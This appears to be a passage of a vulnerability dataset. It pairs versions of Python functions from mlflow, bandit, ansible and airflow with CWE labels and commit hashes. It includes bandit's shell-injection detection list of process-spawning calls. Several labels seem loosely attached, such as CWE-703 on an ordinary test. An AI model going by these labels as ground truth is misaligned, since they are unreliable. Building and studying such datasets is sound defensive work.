model_uri=model_info.model_uri,
data=inference_payload,
content_type=""application/json"",
extra_args=[""--env-manager"", ""local""],
)
expect_status_code(response, 200)
choices = json.loads(response.content)[""choices""]
assert choices[0][""message""][""content""] == json.dumps(input_example[""messages""])
assert json.loads(choices[1][""message""][""content""]) == {
**DEFAULT_PARAMS,
**params_subset,
}",CWE-703,mlflow/mlflow,69b21115f6c4814449bc29fa2afad0c4ce882bbc,"def test_chat_model_works_with_infer_signature_input_example(tmp_path):
model = SimpleChatModel()
params_subset = {
""max_tokens"": 100,
}
input_example = {
""messages"": [
{
""role"": ""user"",
""content"": ""What is Retrieval-augmented Generation?"",
}
],
**params_subset,
}
with mlflow.start_run():
model_info = mlflow.pyfunc.log_model(
""model"", python_model=model, input_example=input_example
)
assert model_info.signature.inputs == CHAT_MODEL_INPUT_SCHEMA
assert model_info.signature.outputs == CHAT_MODEL_OUTPUT_SCHEMA
mlflow_model = Model.load(model_info.model_uri)
local_path = _download_artifact_from_uri(model_info.model_uri)
assert mlflow_model.load_input_example(local_path) == {
""messages"": input_example[""messages""],
**DEFAULT_PARAMS,
**params_subset,
}
inference_payload = load_serving_example(model_info.model_uri)
response = pyfunc_serve_and_score_model(
model_uri=model_info.model_uri,
data=inference_payload,
content_type=""application/json"",
extra_args=[""--env-manager"", ""local""],
)
expect_status_code(response, 200)
choices = json.loads(response.content)[""choices""]
assert choices[0][""message""][""content""] == json.dumps(input_example[""messages""])
assert json.loads(choices[1][""message""][""content""]) == {
**DEFAULT_PARAMS,
**params_subset,
}"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/store/tracking/test_sqlalchemy_store.py,0,"def test_search_full(self):
experiment_id = self._experiment_factory('search_params')
r1 = self._run_factory(self._get_run_configs(experiment_id)).info.run_id
r2 = self._run_factory(self._get_run_configs(experiment_id)).info.run_id
self.store.log_param(r1, entities.Param('generic_param', 'p_val'))
self.store.log_param(r2, entities.Param('generic_param', 'p_val'))
self.store.log_param(r1, entities.Param('p_a', 'abc'))
self.store.log_param(r2, entities.Param('p_b', 'ABC'))
self.store.log_metric(r1, entities.Metric(""common"", 1.0, 1, 0))
self.store.log_metric(r2, entities.Metric(""common"", 1.0, 1, 0))
self.store.log_metric(r1, entities.Metric(""m_a"", 2.0, 2, 0))
self.store.log_metric(r2, entities.Metric(""m_b"", 3.0, 2, 0))
self.store.log_metric(r2, entities.Metric(""m_b"", 4.0, 8, 0))
self.store.log_metric(r2, entities.Metric(""m_b"", 8.0, 3, 0))
filter_string = ""params.generic_param = 'p_val' and metrics.common = 1.0""
six.assertCountEqual(self, [r1, r2], self._search(experiment_id, filter_string))
# all params and metrics match
filter_string = (""params.generic_param = 'p_val' and metrics.common = 1.0 ""
""and metrics.m_a > 1.0"")
six.assertCountEqual(self, [r1], self._search(experiment_id, filter_string))
# test with mismatch param
filter_string = (""params.random_bad_name = 'p_val' and metrics.common = 1.0 ""
""and metrics.m_a > 1.0"")
six.assertCountEqual(self, [], self._search(experiment_id, filter_string))
# test with mismatch metric
filter_string = (""params.generic_param = 'p_val' and metrics.common = 1.0 ""
""and metrics.m_a > 100.0"")
six.assertCountEqual(self, [], self._search(experiment_id, filter_string))",,mlflow/mlflow,512083ae5dbd733896e31881e43a53208f3b66f5,"def test_search_full(self):
experiment_id = self._experiment_factory('search_params')
r1 = self._run_factory(self._get_run_configs(experiment_id)).info.run_id
r2 = self._run_factory(self._get_run_configs(experiment_id)).info.run_id
self.store.log_param(r1, entities.Param('generic_param', 'p_val'))
self.store.log_param(r2, entities.Param('generic_param', 'p_val'))
self.store.log_param(r1, entities.Param('p_a', 'abc'))
self.store.log_param(r2, entities.Param('p_b', 'ABC'))
self.store.log_metric(r1, entities.Metric(""common"", 1.0, 1, 0))
self.store.log_metric(r2, entities.Metric(""common"", 1.0, 1, 0))
self.store.log_metric(r1, entities.Metric(""m_a"", 2.0, 2, 0))
self.store.log_metric(r2, entities.Metric(""m_b"", 3.0, 2, 0))
self.store.log_metric(r2, entities.Metric(""m_b"", 4.0, 8, 0))
self.store.log_metric(r2, entities.Metric(""m_b"", 8.0, 3, 0))
filter_string = ""params.generic_param = 'p_val' and metrics.common = 1.0""
six.assertCountEqual(self, [r1, r2], self._search(experiment_id, filter_string))
# all params and metrics match
filter_string = (""params.generic_param = 'p_val' and metrics.common = 1.0""
""and metrics.m_a > 1.0"")
six.assertCountEqual(self, [r1], self._search(experiment_id, filter_string))
# test with mismatch param
filter_string = (""params.random_bad_name = 'p_val' and metrics.common = 1.0""
""and metrics.m_a > 1.0"")
six.assertCountEqual(self, [], self._search(experiment_id, filter_string))
# test with mismatch metric
filter_string = (""params.generic_param = 'p_val' and metrics.common = 1.0""
""and metrics.m_a > 100.0"")
six.assertCountEqual(self, [], self._search(experiment_id, filter_string))"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/plugins/injection_shell.py,0,"def gen_config(name):
if name == ""shell_injection"":
return {
# Start a process using the subprocess module, or one of its
# wrappers.
""subprocess"": [
""subprocess.Popen"",
""subprocess.call"",
""subprocess.check_call"",
""subprocess.check_output"",
""subprocess.run"",
],
# Start a process with a function vulnerable to shell injection.
""shell"": [
""os.system"",
""os.popen"",
""os.popen2"",
""os.popen3"",
""os.popen4"",
""popen2.popen2"",
""popen2.popen3"",
""popen2.popen4"",
""popen2.Popen3"",
""popen2.Popen4"",
""commands.getoutput"",
""commands.getstatusoutput"",
""subprocess.getoutput"",
""subprocess.getstatusoutput"",
],
# Start a process with a function that is not vulnerable to shell
# injection.
""no_shell"": [
""os.execl"",
""os.execle"",
""os.execlp"",
""os.execlpe"",
""os.execv"",
""os.execve"",
""os.execvp"",
""os.execvpe"",
""os.spawnl"",
""os.spawnle"",
""os.spawnlp"",
""os.spawnlpe"",
""os.spawnv"",
""os.spawnve"",
""os.spawnvp"",
""os.spawnvpe"",
""os.startfile"",
],
}",UNKNOWN,PyCQA/bandit,b603dce79aefe794ce6a0531cb191a45f4e52e01,"def gen_config(name):
if name == ""shell_injection"":
return {
# Start a process using the subprocess module, or one of its
# wrappers.
""subprocess"": [
""subprocess.Popen"",
""subprocess.call"",
""subprocess.check_call"",
""subprocess.check_output"",
""subprocess.run"",
],
# Start a process with a function vulnerable to shell injection.
""shell"": [
""os.system"",
""os.popen"",
""os.popen2"",
""os.popen3"",
""os.popen4"",
""popen2.popen2"",
""popen2.popen3"",
""popen2.popen4"",
""popen2.Popen3"",
""popen2.Popen4"",
""commands.getoutput"",
""commands.getstatusoutput"",
],
# Start a process with a function that is not vulnerable to shell
# injection.
""no_shell"": [
""os.execl"",
""os.execle"",
""os.execlp"",
""os.execlpe"",
""os.execv"",
""os.execve"",
""os.execvp"",
""os.execvpe"",
""os.spawnl"",
""os.spawnle"",
""os.spawnlp"",
""os.spawnlpe"",
""os.spawnv"",
""os.spawnve"",
""os.spawnvp"",
""os.spawnvpe"",
""os.startfile"",
],
}"
,UNKNOWN,UNKNOWN,lib/ansible/cli/pull.py,1,"def parse(self):
''' create an options parser for bin/ansible '''
self.parser = CLI.base_parser(
usage='%prog -U [options] []',
connect_opts=True,
vault_opts=True,
runtask_opts=True,
subset_opts=True,
inventory_opts=True,
module_opts=True,
runas_prompt_opts=True,
desc=""pulls playbooks from a VCS repo and executes them for the local host"",
)
# options unique to pull
self.parser.add_option('--purge', default=False, action='store_true', help='purge checkout after playbook run')
self.parser.add_option('-o', '--only-if-changed', dest='ifchanged', default=False, action='store_true',
help='only run the playbook if the repository has been updated')
self.parser.add_option('-s', '--sleep', dest='sleep', default=None,
help='sleep for random interval (between 0 and n number of seconds) before starting. '
'This is a useful way to disperse git requests')
self.parser.add_option('-f', '--force', dest='force', default=False, action='store_true',
help='run the playbook even if the repository could not be updated')
self.parser.add_option('-d', '--directory', dest='dest', default=None, help='directory to checkout repository to')
self.parser.add_option('-U', '--url', dest='url', default=None, help='URL of the playbook repository')
self.parser.add_option('--full', dest='fullclone', action='store_true', help='Do a full clone, instead of a shallow one.')
self.parser.add_option('-C', '--checkout', dest='checkout',
help='branch/tag/commit to checkout. Defaults to behavior of repository module.')
self.parser.add_option('--accept-host-key', default=False, dest='accept_host_key', action='store_true',
help='adds the hostkey for the repo url if not already added')
self.parser.add_option('-m', '--module-name', dest='module_name', default=self.DEFAULT_REPO_TYPE,
help='Repository module name, which ansible will use to check out the repo. Default is %s.' % self.DEFAULT_REPO_TYPE)
self.parser.add_option('--verify-commit', dest='verify', default=False, action='store_true',
help='verify GPG signature of checked out commit, if it fails abort running the playbook. '
'This needs the corresponding VCS module to support such an operation')
self.parser.add_option('--clean', dest='clean', default=False, action='store_true',
help='modified files in the working repository will be discarded')
self.parser.add_option('--track-subs', dest='tracksubs', default=False, action='store_true',
help='submodules will track the latest changes. This is equivalent to specifying the --remote flag to git submodule update')
self.parser.add_option(""--check"", default=False, dest='check', action='store_true',
help=""don't make any changes; instead, try to predict some of the changes that may occur"")
# for pull we don't want a default
self.parser.set_defaults(inventory=None)
super(PullCLI, self).parse()
if not self.options.dest:
hostname = socket.getfqdn()
# use a hostname dependent directory, in case of $HOME on nfs
self.options.dest = os.path.join('~/.ansible/pull', hostname)
self.options.dest = os.path.expandvars(os.path.expanduser(self.options.dest))
if os.path.exists(self.options.dest) and not os.path.isdir(self.options.dest):
raise AnsibleOptionsError(""%s is not a valid or accessible directory."" % self.options.dest)
if self.options.sleep:
try:
secs = random.randint(0, int(self.options.sleep))
self.options.sleep = secs
except ValueError:
raise AnsibleOptionsError(""%s is not a number."" % self.options.sleep)
if not self.options.url:
raise AnsibleOptionsError(""URL for repository not specified, use -h for help"")
if self.options.module_name not in self.SUPPORTED_REPO_MODULES:
raise AnsibleOptionsError(""Unsupported repo module %s, choices are %s"" % (self.options.module_name, ','.join(self.SUPPORTED_REPO_MODULES)))
display.verbosity = self.options.verbosity
self.validate_conflicts(vault_opts=True)",CWE-330,ansible/ansible,83dec70ad835a818590d360fb742596e0b8f5472,"def parse(self):
''' create an options parser for bin/ansible '''
self.parser = CLI.base_parser(
usage='%prog -U [options] []',
connect_opts=True,
vault_opts=True,
runtask_opts=True,
subset_opts=True,
inventory_opts=True,
module_opts=True,
runas_prompt_opts=True,
desc=""pulls playbooks from a VCS repo and executes them for the local host"",
)
# options unique to pull
self.parser.add_option('--purge', default=False, action='store_true', help='purge checkout after playbook run')
self.parser.add_option('-o', '--only-if-changed', dest='ifchanged', default=False, action='store_true',
help='only run the playbook if the repository has been updated')
self.parser.add_option('-s', '--sleep', dest='sleep', default=None,
help='sleep for random interval (between 0 and n number of seconds) before starting. '
'This is a useful way to disperse git requests')
self.parser.add_option('-f', '--force', dest='force', default=False, action='store_true',
help='run the playbook even if the repository could not be updated')
self.parser.add_option('-d', '--directory', dest='dest', default=None, help='directory to checkout repository to')
self.parser.add_option('-U', '--url', dest='url', default=None, help='URL of the playbook repository')
self.parser.add_option('--full', dest='fullclone', action='store_true', help='Do a full clone, instead of a shallow one.')
self.parser.add_option('-C', '--checkout', dest='checkout',
help='branch/tag/commit to checkout. Defaults to behavior of repository module.')
self.parser.add_option('--accept-host-key', default=False, dest='accept_host_key', action='store_true',
help='adds the hostkey for the repo url if not already added')
self.parser.add_option('-m', '--module-name', dest='module_name', default=self.DEFAULT_REPO_TYPE,
help='Repository module name, which ansible will use to check out the repo. Default is %s.' % self.DEFAULT_REPO_TYPE)
self.parser.add_option('--verify-commit', dest='verify', default=False, action='store_true',
help='verify GPG signature of checked out commit, if it fails abort running the playbook. '
'This needs the corresponding VCS module to support such an operation')
self.parser.add_option('--clean', dest='clean', default=False, action='store_true',
help='modified files in the working repository will be discarded')
self.parser.add_option('--track-subs', dest='tracksubs', default=False, action='store_true',
help='submodules will track the latest changes. This is equivalent to specifying the --remote flag to git submodule update')
self.parser.add_option(""--check"", default=False, dest='check', action='store_true',
help=""don't make any changes; instead, try to predict some of the changes that may occur"")
# for pull we don't want a default
self.parser.set_defaults(inventory=None)
super(PullCLI, self).parse()
if not self.options.dest:
hostname = socket.getfqdn()
# use a hostname dependent directory, in case of $HOME on nfs
self.options.dest = os.path.join('~/.ansible/pull', hostname)
self.options.dest = os.path.expandvars(os.path.expanduser(self.options.dest))
if self.options.sleep:
try:
secs = random.randint(0, int(self.options.sleep))
self.options.sleep = secs
except ValueError:
raise AnsibleOptionsError(""%s is not a number."" % self.options.sleep)
if not self.options.url:
raise AnsibleOptionsError(""URL for repository not specified, use -h for help"")
if self.options.module_name not in self.SUPPORTED_REPO_MODULES:
raise AnsibleOptionsError(""Unsupported repo module %s, choices are %s"" % (self.options.module_name, ','.join(self.SUPPORTED_REPO_MODULES)))
display.verbosity = self.options.verbosity
self.validate_conflicts(vault_opts=True)"
,UNKNOWN,UNKNOWN,tests/providers/amazon/aws/operators/test_ecs.py,1,"def test_check_success_tasks_raises_logs_disabled(self):
client_mock = mock.Mock()
self.ecs.arn = 'arn'
self.ecs.client = client_mock
client_mock.describe_tasks.return_value = {
'tasks': [{'containers': [{'name': 'foo', 'lastStatus': 'STOPPED', 'exitCode': 1}]}]
}
with pytest.raises(Exception) as ctx:
self.ecs._check_success_task()
assert ""This task is not in success state "" in str(ctx.value)
assert ""'name': 'foo'"" in str(ctx.value)
assert ""'lastStatus': 'STOPPED'"" in str(ctx.value)
assert ""'exitCode': 1"" in str(ctx.value)
client_mock.describe_tasks.assert_called_once_with(cluster='c', tasks=['arn'])",CWE-703,apache/airflow,206cce971da6941e8c1b0d3c4dbf4fa8afe0fba4,"def test_check_success_tasks_raises_logs_disabled(self):
client_mock = mock.Mock()
self.ecs.arn = 'arn'
self.ecs.client = client_mock
client_mock.describe_tasks.return_value = {
'tasks': [{'containers': [{'name': 'foo', 'lastStatus': 'STOPPED', 'exitCode': 1}]}]
}
with pytest.raises(Exception) as ctx:
self.ecs._check_success_task()
assert ""This task is not in success state "" in str(ctx.value)
assert ""'name': 'foo'"" in str(ctx.value)
assert ""'lastStatus': 'STOPPED'"" in str(ctx.value)
assert ""'exitCode': 1"" in str(ctx.value)
client_mock.describe_tasks.assert_called_once_with(cluster='c', tasks=['arn'])"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/tensorflow/__init__.py,0,"def autolog(
every_n_iter=1,
log_models=True,
disable=False,
exclusive=False,
disable_for_unsupported_versions=False,
silent=False,
registered_model_name=None,
log_input_examples=False,
log_model_signatures=True,
saved_model_kwargs=None,
keras_model_kwargs=None,
): # pylint: disable=unused-argument
# pylint: disable=E0611
""""""
Enables autologging for ``tf.keras`` and ``keras``.
Note that only ``tensorflow>=2.3`` are supported.
As an example, try running the
`Keras/TensorFlow example `_.
For each TensorFlow module, autologging captures the following information:
**tf.keras**
- **Metrics** and **Parameters**
- Training loss; validation loss; user-specified metrics
- ``fit()`` or ``fit_generator()`` parameters; optimizer name; learning rate; epsilon
- **Artifacts**
- Model summary on training start
- `MLflow Model `_ (Keras model)
- TensorBoard logs on training end
**tf.keras.callbacks.EarlyStopping**
- **Metrics** and **Parameters**
- Metrics from the ``EarlyStopping`` callbacks: ``stopped_epoch``, ``restored_epoch``,
``restore_best_weight``, etc
- ``fit()`` or ``fit_generator()`` parameters associated with ``EarlyStopping``:
``min_delta``, ``patience``, ``baseline``, ``restore_best_weights``, etc
Refer to the autologging tracking documentation for more
information on `TensorFlow workflows
`_.
:param every_n_iter: The frequency with which metrics should be logged. For example, a value of
100 will log metrics at step 0, 100, 200, etc.
:param log_models: If ``True``, trained models are logged as MLflow model artifacts.
If ``False``, trained models are not logged.
:param disable: If ``True``, disables the TensorFlow autologging integration. If ``False``,
enables the TensorFlow integration autologging integration.
:param exclusive: If ``True``, autologged content is not logged to user-created fluent runs.
If ``False``, autologged content is logged to the active fluent run,
which may be user-created.
:param disable_for_unsupported_versions: If ``True``, disable autologging for versions of
tensorflow that have not been tested against this version of the MLflow
client or are incompatible.
:param silent: If ``True``, suppress all event logs and warnings from MLflow during TensorFlow
autologging. If ``False``, show all events and warnings during TensorFlow
autologging.
:param registered_model_name: If given, each time a model is trained, it is registered as a
new model version of the registered model with this name.
The registered model is created if it does not already exist.
:param log_input_examples: If ``True``, input examples from training datasets are collected and
logged along with tf/keras model artifacts during training. If
``False``, input examples are not logged.
:param log_model_signatures: If ``True``,
:py:class:`ModelSignatures `
describing model inputs and outputs are collected and logged along
with tf/keras model artifacts during training. If ``False``,
signatures are not logged. Note that logging TensorFlow models
with signatures changes their pyfunc inference behavior when
Pandas DataFrames are passed to ``predict()``.
When a signature is present, an ``np.ndarray``
(for single-output models) or a mapping from
``str`` -> ``np.ndarray`` (for multi-output models) is returned;
when a signature is not present, a Pandas DataFrame is returned.
:param saved_model_kwargs: a dict of kwargs to pass to ``tensorflow.saved_model.save`` method.
:param keras_model_kwargs: a dict of kwargs to pass to ``keras_model.save`` method.
""""""
import tensorflow
global _LOG_EVERY_N_STEPS
_LOG_EVERY_N_STEPS = every_n_iter
atexit.register(_flush_queue)
if Version(tensorflow.__version__) < Version(""2.3""):
warnings.warn(""Could not log to MLflow. TensorFlow versions below 2.3 are not supported."")
return
@picklable_exception_safe_function
def _get_early_stop_callback(callbacks):
for callback in callbacks:
if isinstance(callback, tensorflow.keras.callbacks.EarlyStopping):
return callback
return None
def _log_early_stop_callback_params(callback):
if callback:
try:
earlystopping_params = {
""monitor"": callback.monitor,
""min_delta"": callback.min_delta,
""patience"": callback.patience,
""baseline"": callback.baseline,
""restore_best_weights"": callback.restore_best_weights,
}
mlflow.log_params(earlystopping_params)
except Exception: # pylint: disable=W0703
return
def _get_early_stop_callback_attrs(callback):
try:
return callback.stopped_epoch, callback.restore_best_weights, callback.patience
except Exception: # pylint: disable=W0703
return None
def _log_early_stop_callback_metrics(callback, history, metrics_logger):
if callback is None or not callback.model.stop_training:
return
callback_attrs = _get_early_stop_callback_attrs(callback)
if callback_attrs is None:
return
stopped_epoch, restore_best_weights, _ = callback_attrs
metrics_logger.record_metrics({""stopped_epoch"": stopped_epoch})
if not restore_best_weights or callback.best_weights is None:
return
monitored_metric = history.history.get(callback.monitor)
if not monitored_metric:
return
initial_epoch = history.epoch[0]
# If `monitored_metric` contains multiple best values (e.g. [0.1, 0.1, 0.2] where 0.1 is
# the minimum loss), the epoch corresponding to the first occurrence of the best value is
# the best epoch. In keras > 2.6.0, the best epoch can be obtained via the `best_epoch`
# attribute of an `EarlyStopping` instance: https://github.com/keras-team/keras/pull/15197
restored_epoch = initial_epoch + monitored_metric.index(callback.best)
metrics_logger.record_metrics({""restored_epoch"": restored_epoch})
restored_index = history.epoch.index(restored_epoch)
restored_metrics = {
key: metrics[restored_index] for key, metrics in history.history.items()
}
# Checking that a metric history exists
metric_key = next(iter(history.history), None)
if metric_key is not None:
metrics_logger.record_metrics(restored_metrics, stopped_epoch + 1)
def _log_keras_model(history, args):
def _infer_model_signature(input_data_slice):
# In certain TensorFlow versions, calling `predict()` on model may modify
# the `stop_training` attribute, so we save and restore it accordingly
original_stop_training = history.model.stop_training
model_output = history.model.predict(input_data_slice)
history.model.stop_training = original_stop_training
return infer_signature(input_data_slice, model_output)
from mlflow.tensorflow._autolog import extract_tf_keras_input_example
def _get_tf_keras_input_example_slice():
input_training_data = args[0]
keras_input_example_slice = extract_tf_keras_input_example(input_training_data)
if keras_input_example_slice is None:
raise MlflowException(
""Cannot log input example or model signature for input with type""
f"" {type(input_training_data)}. TensorFlow Keras autologging can""
"" only log input examples and model signatures for the following""
"" input types: numpy.ndarray, dict[string -> numpy.ndarray],""
"" tensorflow.keras.utils.Sequence, and""
"" tensorflow.data.Dataset (TensorFlow >= 2.1.0 required)"",
INVALID_PARAMETER_VALUE,
)
return keras_input_example_slice
input_example, signature = resolve_input_example_and_signature(
_get_tf_keras_input_example_slice,
_infer_model_signature,
log_input_examples,
log_model_signatures,
_logger,
)
log_model(
model=history.model,
artifact_path=""model"",
input_example=input_example,
signature=signature,
registered_model_name=get_autologging_config(
FLAVOR_NAME, ""registered_model_name"", None
),
saved_model_kwargs=saved_model_kwargs,
keras_model_kwargs=keras_model_kwargs,
)
class FitPatch(PatchFunction):
def __init__(self):
self.log_dir = None
def _patch_implementation(
self, original, inst, *args, **kwargs
): # pylint: disable=arguments-differ
unlogged_params = [""self"", ""x"", ""y"", ""callbacks"", ""validation_data"", ""verbose""]
batch_size = None
try:
training_data = kwargs[""x""] if ""x"" in kwargs else args[0]
if isinstance(training_data, tensorflow.data.Dataset) and hasattr(
training_data, ""_batch_size""
):
batch_size = training_data._batch_size.numpy()
elif isinstance(training_data, tensorflow.keras.utils.Sequence):
first_batch_inputs, _ = training_data[0]
batch_size = len(first_batch_inputs)
elif is_iterator(training_data):
peek = next(training_data)
batch_size = len(peek[0])
def __restore_generator(prev_generator):
yield peek
yield from prev_generator
restored_generator = __restore_generator(training_data)
if ""x"" in kwargs:
kwargs[""x""] = restored_generator
else:
args = (restored_generator,) + args[1:]
except Exception as e:
_logger.warning(
""Encountered unexpected error while inferring batch size from training""
"" dataset: %s"",
e,
)
if batch_size is not None:
mlflow.log_param(""batch_size"", batch_size)
unlogged_params.append(""batch_size"")
log_fn_args_as_params(original, args, kwargs, unlogged_params)
run_id = mlflow.active_run().info.run_id
with batch_metrics_logger(run_id) as metrics_logger:
# Check if the 'callback' argument of fit() is set positionally
if len(args) >= 6:
# Convert the positional training function arguments to a list in order to
# mutate the contents
args = list(args)
# Make a shallow copy of the preexisting callbacks to avoid permanently
# modifying their contents for future training invocations. Introduce
# TensorBoard & tf.keras callbacks if necessary
callbacks = list(args[5])
callbacks, self.log_dir = _setup_callbacks(callbacks, metrics_logger)
# Replace the callbacks positional entry in the copied arguments and convert
# the arguments back to tuple form for usage in the training function
args[5] = callbacks
args = tuple(args)
else:
# Make a shallow copy of the preexisting callbacks and introduce TensorBoard
# & tf.keras callbacks if necessary
callbacks = list(kwargs.get(""callbacks"") or [])
kwargs[""callbacks""], self.log_dir = _setup_callbacks(callbacks, metrics_logger)
early_stop_callback = _get_early_stop_callback(callbacks)
_log_early_stop_callback_params(early_stop_callback)
history = original(inst, *args, **kwargs)
if log_models:
_log_keras_model(history, args)
_log_early_stop_callback_metrics(
callback=early_stop_callback,
history=history,
metrics_logger=metrics_logger,
)
_flush_queue()
mlflow.log_artifacts(
local_dir=self.log_dir.location,
artifact_path=""tensorboard_logs"",
)
if self.log_dir.is_temp:
shutil.rmtree(self.log_dir.location)
return history
def _on_exception(self, exception):
if (
self.log_dir is not None
and self.log_dir.is_temp
and os.path.exists(self.log_dir.location)
):
shutil.rmtree(self.log_dir.location)
managed = [
(tensorflow.keras.Model, ""fit"", FitPatch),
]
for p in managed:
safe_patch(FLAVOR_NAME, *p, manage_run=True)",,mlflow/mlflow,9d37f52151ec486b10cc506a795c19711a763bc9,"def autolog(
every_n_iter=1,
log_models=True,
disable=False,
exclusive=False,
disable_for_unsupported_versions=False,
silent=False,
registered_model_name=None,
log_input_examples=False,
log_model_signatures=True,
saved_model_kwargs=None,
keras_model_kwargs=None,
): # pylint: disable=unused-argument
# pylint: disable=E0611
""""""
Enables autologging for ``tf.keras`` and ``keras``.
Note that only ``tensorflow>=2.3`` are supported.
As an example, try running the
`TensorFlow examples `_.
For each TensorFlow module, autologging captures the following information:
**tf.keras**
- **Metrics** and **Parameters**
- Training loss; validation loss; user-specified metrics
- ``fit()`` or ``fit_generator()`` parameters; optimizer name; learning rate; epsilon
- **Artifacts**
- Model summary on training start
- `MLflow Model `_ (Keras model)
- TensorBoard logs on training end
**tf.keras.callbacks.EarlyStopping**
- **Metrics** and **Parameters**
- Metrics from the ``EarlyStopping`` callbacks: ``stopped_epoch``, ``restored_epoch``,
``restore_best_weight``, etc
- ``fit()`` or ``fit_generator()`` parameters associated with ``EarlyStopping``:
``min_delta``, ``patience``, ``baseline``, ``restore_best_weights``, etc
Refer to the autologging tracking documentation for more
information on `TensorFlow workflows
`_.
:param every_n_iter: The frequency with which metrics should be logged. For example, a value of
100 will log metrics at step 0, 100, 200, etc.
:param log_models: If ``True``, trained models are logged as MLflow model artifacts.
If ``False``, trained models are not logged.
:param disable: If ``True``, disables the TensorFlow autologging integration. If ``False``,
enables the TensorFlow integration autologging integration.
:param exclusive: If ``True``, autologged content is not logged to user-created fluent runs.
If ``False``, autologged content is logged to the active fluent run,
which may be user-created.
:param disable_for_unsupported_versions: If ``True``, disable autologging for versions of
tensorflow that have not been tested against this version of the MLflow
client or are incompatible.
:param silent: If ``True``, suppress all event logs and warnings from MLflow during TensorFlow
autologging. If ``False``, show all events and warnings during TensorFlow
autologging.
:param registered_model_name: If given, each time a model is trained, it is registered as a
new model version of the registered model with this name.
The registered model is created if it does not already exist.
:param log_input_examples: If ``True``, input examples from training datasets are collected and
logged along with tf/keras model artifacts during training. If
``False``, input examples are not logged.
:param log_model_signatures: If ``True``,
:py:class:`ModelSignatures `
describing model inputs and outputs are collected and logged along
with tf/keras model artifacts during training. If ``False``,
signatures are not logged. Note that logging TensorFlow models
with signatures changes their pyfunc inference behavior when
Pandas DataFrames are passed to ``predict()``.
When a signature is present, an ``np.ndarray``
(for single-output models) or a mapping from
``str`` -> ``np.ndarray`` (for multi-output models) is returned;
when a signature is not present, a Pandas DataFrame is returned.
:param saved_model_kwargs: a dict of kwargs to pass to ``tensorflow.saved_model.save`` method.
:param keras_model_kwargs: a dict of kwargs to pass to ``keras_model.save`` method.
""""""
import tensorflow
global _LOG_EVERY_N_STEPS
_LOG_EVERY_N_STEPS = every_n_iter
atexit.register(_flush_queue)
if Version(tensorflow.__version__) < Version(""2.3""):
warnings.warn(""Could not log to MLflow. TensorFlow versions below 2.3 are not supported."")
return
@picklable_exception_safe_function
def _get_early_stop_callback(callbacks):
for callback in callbacks:
if isinstance(callback, tensorflow.keras.callbacks.EarlyStopping):
return callback
return None
def _log_early_stop_callback_params(callback):
if callback:
try:
earlystopping_params = {
""monitor"": callback.monitor,
""min_delta"": callback.min_delta,
""patience"": callback.patience,
""baseline"": callback.baseline,
""restore_best_weights"": callback.restore_best_weights,
}
mlflow.log_params(earlystopping_params)
except Exception: # pylint: disable=W0703
return
def _get_early_stop_callback_attrs(callback):
try:
return callback.stopped_epoch, callback.restore_best_weights, callback.patience
except Exception: # pylint: disable=W0703
return None
def _log_early_stop_callback_metrics(callback, history, metrics_logger):
if callback is None or not callback.model.stop_training:
return
callback_attrs = _get_early_stop_callback_attrs(callback)
if callback_attrs is None:
return
stopped_epoch, restore_best_weights, _ = callback_attrs
metrics_logger.record_metrics({""stopped_epoch"": stopped_epoch})
if not restore_best_weights or callback.best_weights is None:
return
monitored_metric = history.history.get(callback.monitor)
if not monitored_metric:
return
initial_epoch = history.epoch[0]
# If `monitored_metric` contains multiple best values (e.g. [0.1, 0.1, 0.2] where 0.1 is
# the minimum loss), the epoch corresponding to the first occurrence of the best value is
# the best epoch. In keras > 2.6.0, the best epoch can be obtained via the `best_epoch`
# attribute of an `EarlyStopping` instance: https://github.com/keras-team/keras/pull/15197
restored_epoch = initial_epoch + monitored_metric.index(callback.best)
metrics_logger.record_metrics({""restored_epoch"": restored_epoch})
restored_index = history.epoch.index(restored_epoch)
restored_metrics = {
key: metrics[restored_index] for key, metrics in history.history.items()
}
# Checking that a metric history exists
metric_key = next(iter(history.history), None)
if metric_key is not None:
metrics_logger.record_metrics(restored_metrics, stopped_epoch + 1)
def _log_keras_model(history, args):
def _infer_model_signature(input_data_slice):
# In certain TensorFlow versions, calling `predict()` on model may modify
# the `stop_training` attribute, so we save and restore it accordingly
original_stop_training = history.model.stop_training
model_output = history.model.predict(input_data_slice)
history.model.stop_training = original_stop_training
return infer_signature(input_data_slice, model_output)
from mlflow.tensorflow._autolog import extract_tf_keras_input_example
def _get_tf_keras_input_example_slice():
input_training_data = args[0]
keras_input_example_slice = extract_tf_keras_input_example(input_training_data)
if keras_input_example_slice is None:
raise MlflowException(
""Cannot log input example or model signature for input with type""
f"" {type(input_training_data)}. TensorFlow Keras autologging can""
"" only log input examples and model signatures for the following""
"" input types: numpy.ndarray, dict[string -> numpy.ndarray],""
"" tensorflow.keras.utils.Sequence, and""
"" tensorflow.data.Dataset (TensorFlow >= 2.1.0 required)"",
INVALID_PARAMETER_VALUE,
)
return keras_input_example_slice
input_example, signature = resolve_input_example_and_signature(
_get_tf_keras_input_example_slice,
_infer_model_signature,
log_input_examples,
log_model_signatures,
_logger,
)
log_model(
model=history.model,
artifact_path=""model"",
input_example=input_example,
signature=signature,
registered_model_name=get_autologging_config(
FLAVOR_NAME, ""registered_model_name"", None
),
saved_model_kwargs=saved_model_kwargs,
keras_model_kwargs=keras_model_kwargs,
)
class FitPatch(PatchFunction):
def __init__(self):
self.log_dir = None
def _patch_implementation(
self, original, inst, *args, **kwargs
): # pylint: disable=arguments-differ
unlogged_params = [""self"", ""x"", ""y"", ""callbacks"", ""validation_data"", ""verbose""]
batch_size = None
try:
training_data = kwargs[""x""] if ""x"" in kwargs else args[0]
if isinstance(training_data, tensorflow.data.Dataset) and hasattr(
training_data, ""_batch_size""
):
batch_size = training_data._batch_size.numpy()
elif isinstance(training_data, tensorflow.keras.utils.Sequence):
first_batch_inputs, _ = training_data[0]
batch_size = len(first_batch_inputs)
elif is_iterator(training_data):
peek = next(training_data)
batch_size = len(peek[0])
def __restore_generator(prev_generator):
yield peek
yield from prev_generator
restored_generator = __restore_generator(training_data)
if ""x"" in kwargs:
kwargs[""x""] = restored_generator
else:
args = (restored_generator,) + args[1:]
except Exception as e:
_logger.warning(
""Encountered unexpected error while inferring batch size from training""
"" dataset: %s"",
e,
)
if batch_size is not None:
mlflow.log_param(""batch_size"", batch_size)
unlogged_params.append(""batch_size"")
log_fn_args_as_params(original, args, kwargs, unlogged_params)
run_id = mlflow.active_run().info.run_id
